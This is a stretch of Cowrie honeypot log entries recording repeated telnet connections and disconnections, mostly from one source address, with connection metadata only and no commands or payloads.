{"eventid":"cowrie.session.closed","duration":34.92834448814392,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.581432Z","src_ip":"162.55.233.176","session":"7168aaf65f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19612717628479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.758525Z","src_ip":"162.55.233.176","session":"1435cbfacddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.766854Z","src_ip":"38.137.11.14","session":"b442b70f5910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.984769582748413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.809934Z","src_ip":"162.55.233.176","session":"fc5b157a4310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.545313596725464,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.858596Z","src_ip":"162.55.233.176","session":"5fc7c234bc6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56080,"dst_ip":"159.203.135.109","dst_port":23,"session":"7263534eaf2d","protocol":"telnet","message":"New connection: 162.55.233.176:56080 (159.203.135.109:23) [session: 7263534eaf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:42.353133Z"}
{"eventid":"cowrie.session.closed","duration":31.185763120651245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:42.605314Z","src_ip":"162.55.233.176","session":"8a8455a087d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312769412994385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:42.765067Z","src_ip":"162.55.233.176","session":"deaf28787950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56098,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f1eedf73ba","protocol":"telnet","message":"New connection: 162.55.233.176:56098 (159.203.135.109:23) [session: 31f1eedf73ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:42.902077Z"}
{"eventid":"cowrie.session.closed","duration":41.4823944568634,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:43.707207Z","src_ip":"162.55.233.176","session":"30eec0bbf123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78705954551697,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:43.894779Z","src_ip":"162.55.233.176","session":"b16ea772f983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1985399723053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:43.982495Z","src_ip":"162.55.233.176","session":"e007923a7e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.762994527816772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:43.987220Z","src_ip":"162.55.233.176","session":"ec30994c4f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54412,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a451e96c38","protocol":"telnet","message":"New connection: 162.55.233.176:54412 (159.203.135.109:23) [session: f9a451e96c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.078371Z"}
{"eventid":"cowrie.session.closed","duration":5.799484014511108,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.151385Z","src_ip":"188.208.141.113","session":"4d8e7987f93a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54422,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca503b3b2d2","protocol":"telnet","message":"New connection: 162.55.233.176:54422 (159.203.135.109:23) [session: 5ca503b3b2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.186517Z"}
{"eventid":"cowrie.session.closed","duration":31.12250781059265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.191354Z","src_ip":"162.55.233.176","session":"d53e7f95da61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54449224472046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.314577Z","src_ip":"162.55.233.176","session":"037c54b4f1b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068458080291748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.440619Z","src_ip":"162.55.233.176","session":"d805a9fc9ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.15981483459473,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.575129Z","src_ip":"162.55.233.176","session":"7a447a1402a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.39576435089111,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.780802Z","src_ip":"188.208.141.113","session":"abae1053cdb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16426157951355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.787925Z","src_ip":"162.55.233.176","session":"5f74e2bf7b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.257516384124756,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:44.930826Z","src_ip":"162.55.233.176","session":"31dd266d9e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99977421760559,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.004339Z","src_ip":"162.55.233.176","session":"073ba6032c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.66551899909973,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.016727Z","src_ip":"188.208.141.113","session":"06be82a68f53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f45207262b5","protocol":"telnet","message":"New connection: 188.208.141.113:40284 (10.17.0.5:23) [session: 0f45207262b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.306773Z"}
{"eventid":"cowrie.session.closed","duration":30.657186269760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.396850Z","src_ip":"162.55.233.176","session":"69b4a42a52e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4806592464447,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.610730Z","src_ip":"162.55.233.176","session":"0b04fd83b733","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76562261581421,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.763923Z","src_ip":"162.55.233.176","session":"95fe813c7fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54438,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4f25700e33","protocol":"telnet","message":"New connection: 162.55.233.176:54438 (159.203.135.109:23) [session: 1f4f25700e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.895625Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54440,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3dbb346d496","protocol":"telnet","message":"New connection: 162.55.233.176:54440 (159.203.135.109:23) [session: c3dbb346d496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:45.923840Z"}
{"eventid":"cowrie.session.closed","duration":31.36351704597473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:46.475051Z","src_ip":"162.55.233.176","session":"14777e418d09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841575145721436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:46.554960Z","src_ip":"162.55.233.176","session":"de1581d663ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82201099395752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:46.688681Z","src_ip":"162.55.233.176","session":"74e027500063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54456,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d2678c9c94a","protocol":"telnet","message":"New connection: 162.55.233.176:54456 (159.203.135.109:23) [session: 9d2678c9c94a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:46.844680Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54460,"dst_ip":"159.203.135.109","dst_port":23,"session":"175133786a26","protocol":"telnet","message":"New connection: 162.55.233.176:54460 (159.203.135.109:23) [session: 175133786a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.054252Z"}
{"eventid":"cowrie.session.closed","duration":3.059072971343994,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.245450Z","src_ip":"162.55.233.176","session":"5ca503b3b2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54462,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f7d20da1840","protocol":"telnet","message":"New connection: 162.55.233.176:54462 (159.203.135.109:23) [session: 7f7d20da1840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.250098Z"}
{"eventid":"cowrie.session.closed","duration":34.99261689186096,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.376626Z","src_ip":"162.55.233.176","session":"40c48816cb22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45a71887650","protocol":"telnet","message":"New connection: 162.55.233.176:54470 (159.203.135.109:23) [session: c45a71887650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.638666Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54478,"dst_ip":"159.203.135.109","dst_port":23,"session":"40fbe1e3bae9","protocol":"telnet","message":"New connection: 162.55.233.176:54478 (159.203.135.109:23) [session: 40fbe1e3bae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.712517Z"}
{"eventid":"cowrie.session.closed","duration":34.452001333236694,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.799327Z","src_ip":"162.55.233.176","session":"2d61d9808e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54492,"dst_ip":"159.203.135.109","dst_port":23,"session":"da42e45988d7","protocol":"telnet","message":"New connection: 162.55.233.176:54492 (159.203.135.109:23) [session: da42e45988d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:47.861058Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54498,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd9380490aa","protocol":"telnet","message":"New connection: 162.55.233.176:54498 (159.203.135.109:23) [session: 0fd9380490aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.010279Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d53869f12ca","protocol":"telnet","message":"New connection: 162.55.233.176:54500 (159.203.135.109:23) [session: 3d53869f12ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.092630Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6fbe00aafc","protocol":"telnet","message":"New connection: 162.55.233.176:54510 (159.203.135.109:23) [session: 6b6fbe00aafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.165576Z"}
{"eventid":"cowrie.session.closed","duration":32.060847759246826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.359879Z","src_ip":"162.55.233.176","session":"ab27f8984789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826271057128906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.497353Z","src_ip":"162.55.233.176","session":"1632338ff46d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54524,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b73479dc8d","protocol":"telnet","message":"New connection: 162.55.233.176:54524 (159.203.135.109:23) [session: 18b73479dc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.529637Z"}
{"eventid":"cowrie.session.closed","duration":37.45679330825806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.791639Z","src_ip":"162.55.233.176","session":"88b0a82a9422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54540,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7df8c570cd3","protocol":"telnet","message":"New connection: 162.55.233.176:54540 (159.203.135.109:23) [session: b7df8c570cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.844450Z"}
{"eventid":"cowrie.session.closed","duration":38.01728272438049,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:48.995981Z","src_ip":"162.55.233.176","session":"4a0e74d58c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9004864692688,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:49.509633Z","src_ip":"162.55.233.176","session":"d2c4453ac608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54552,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd115b8dfd51","protocol":"telnet","message":"New connection: 162.55.233.176:54552 (159.203.135.109:23) [session: dd115b8dfd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:49.546818Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f40ce3a7de7","protocol":"telnet","message":"New connection: 162.55.233.176:54564 (159.203.135.109:23) [session: 5f40ce3a7de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:49.619133Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54578,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7731590c2d","protocol":"telnet","message":"New connection: 162.55.233.176:54578 (159.203.135.109:23) [session: 6f7731590c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.197950Z"}
{"eventid":"cowrie.session.closed","duration":31.11132264137268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.232905Z","src_ip":"162.55.233.176","session":"f73b65da848a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54590,"dst_ip":"159.203.135.109","dst_port":23,"session":"920938a0f282","protocol":"telnet","message":"New connection: 162.55.233.176:54590 (159.203.135.109:23) [session: 920938a0f282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.371962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54594,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65249534261","protocol":"telnet","message":"New connection: 162.55.233.176:54594 (159.203.135.109:23) [session: b65249534261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.383243Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54600,"dst_ip":"159.203.135.109","dst_port":23,"session":"a748629684d3","protocol":"telnet","message":"New connection: 162.55.233.176:54600 (159.203.135.109:23) [session: a748629684d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.610152Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54602,"dst_ip":"159.203.135.109","dst_port":23,"session":"cffcc0b48731","protocol":"telnet","message":"New connection: 162.55.233.176:54602 (159.203.135.109:23) [session: cffcc0b48731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.818586Z"}
{"eventid":"cowrie.session.closed","duration":36.664538621902466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.824922Z","src_ip":"162.55.233.176","session":"6bc8c024daad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.71393942832947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:50.889009Z","src_ip":"162.55.233.176","session":"9b4c664c980f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40316,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c62a0ba99be","protocol":"telnet","message":"New connection: 188.208.141.113:40316 (10.17.0.5:23) [session: 9c62a0ba99be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.029342Z"}
{"eventid":"cowrie.session.closed","duration":38.046037912368774,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.079558Z","src_ip":"162.55.233.176","session":"d843ec0647dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54568,"dst_ip":"159.203.135.109","dst_port":23,"session":"e953eb394062","protocol":"telnet","message":"New connection: 162.55.233.176:54568 (159.203.135.109:23) [session: e953eb394062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.089837Z"}
{"eventid":"cowrie.session.closed","duration":34.13617467880249,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.327843Z","src_ip":"162.55.233.176","session":"a094a93dae7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54604,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3e526c0a3e","protocol":"telnet","message":"New connection: 162.55.233.176:54604 (159.203.135.109:23) [session: 0a3e526c0a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.487780Z"}
{"eventid":"cowrie.session.closed","duration":33.106083393096924,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.732457Z","src_ip":"162.55.233.176","session":"e92352df6f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54606,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3697e75512","protocol":"telnet","message":"New connection: 162.55.233.176:54606 (159.203.135.109:23) [session: ac3697e75512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:51.816758Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54620,"dst_ip":"159.203.135.109","dst_port":23,"session":"b723e7f0b2e0","protocol":"telnet","message":"New connection: 162.55.233.176:54620 (159.203.135.109:23) [session: b723e7f0b2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:52.265625Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54632,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b9e45374977","protocol":"telnet","message":"New connection: 162.55.233.176:54632 (159.203.135.109:23) [session: 6b9e45374977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:52.387134Z"}
{"eventid":"cowrie.session.closed","duration":31.4538791179657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:52.555727Z","src_ip":"162.55.233.176","session":"5a2684657a60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54636,"dst_ip":"159.203.135.109","dst_port":23,"session":"89517bccda1f","protocol":"telnet","message":"New connection: 162.55.233.176:54636 (159.203.135.109:23) [session: 89517bccda1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:52.814623Z"}
{"eventid":"cowrie.session.closed","duration":34.32838559150696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:52.885115Z","src_ip":"162.55.233.176","session":"a3cb02d74d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08583211898804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.028704Z","src_ip":"162.55.233.176","session":"cf8c8f56e4bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.168392181396484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.265745Z","src_ip":"162.55.233.176","session":"14e0fe02a901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.50544095039368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.457348Z","src_ip":"162.55.233.176","session":"2a68ee477cfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594884395599365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.568355Z","src_ip":"162.55.233.176","session":"007a369cac3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400310516357422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.893101Z","src_ip":"162.55.233.176","session":"0d097086a8fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.312864542007446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:53.967027Z","src_ip":"162.55.233.176","session":"77202ff1aa52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87106394767761,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.068622Z","src_ip":"162.55.233.176","session":"d498d06f49b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.29108953475952,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.202069Z","src_ip":"162.55.233.176","session":"0b6d03524b15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":42958,"dst_ip":"159.203.135.109","dst_port":23,"session":"27617b51a543","protocol":"telnet","message":"New connection: 162.55.233.176:42958 (159.203.135.109:23) [session: 27617b51a543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:54.684344Z"}
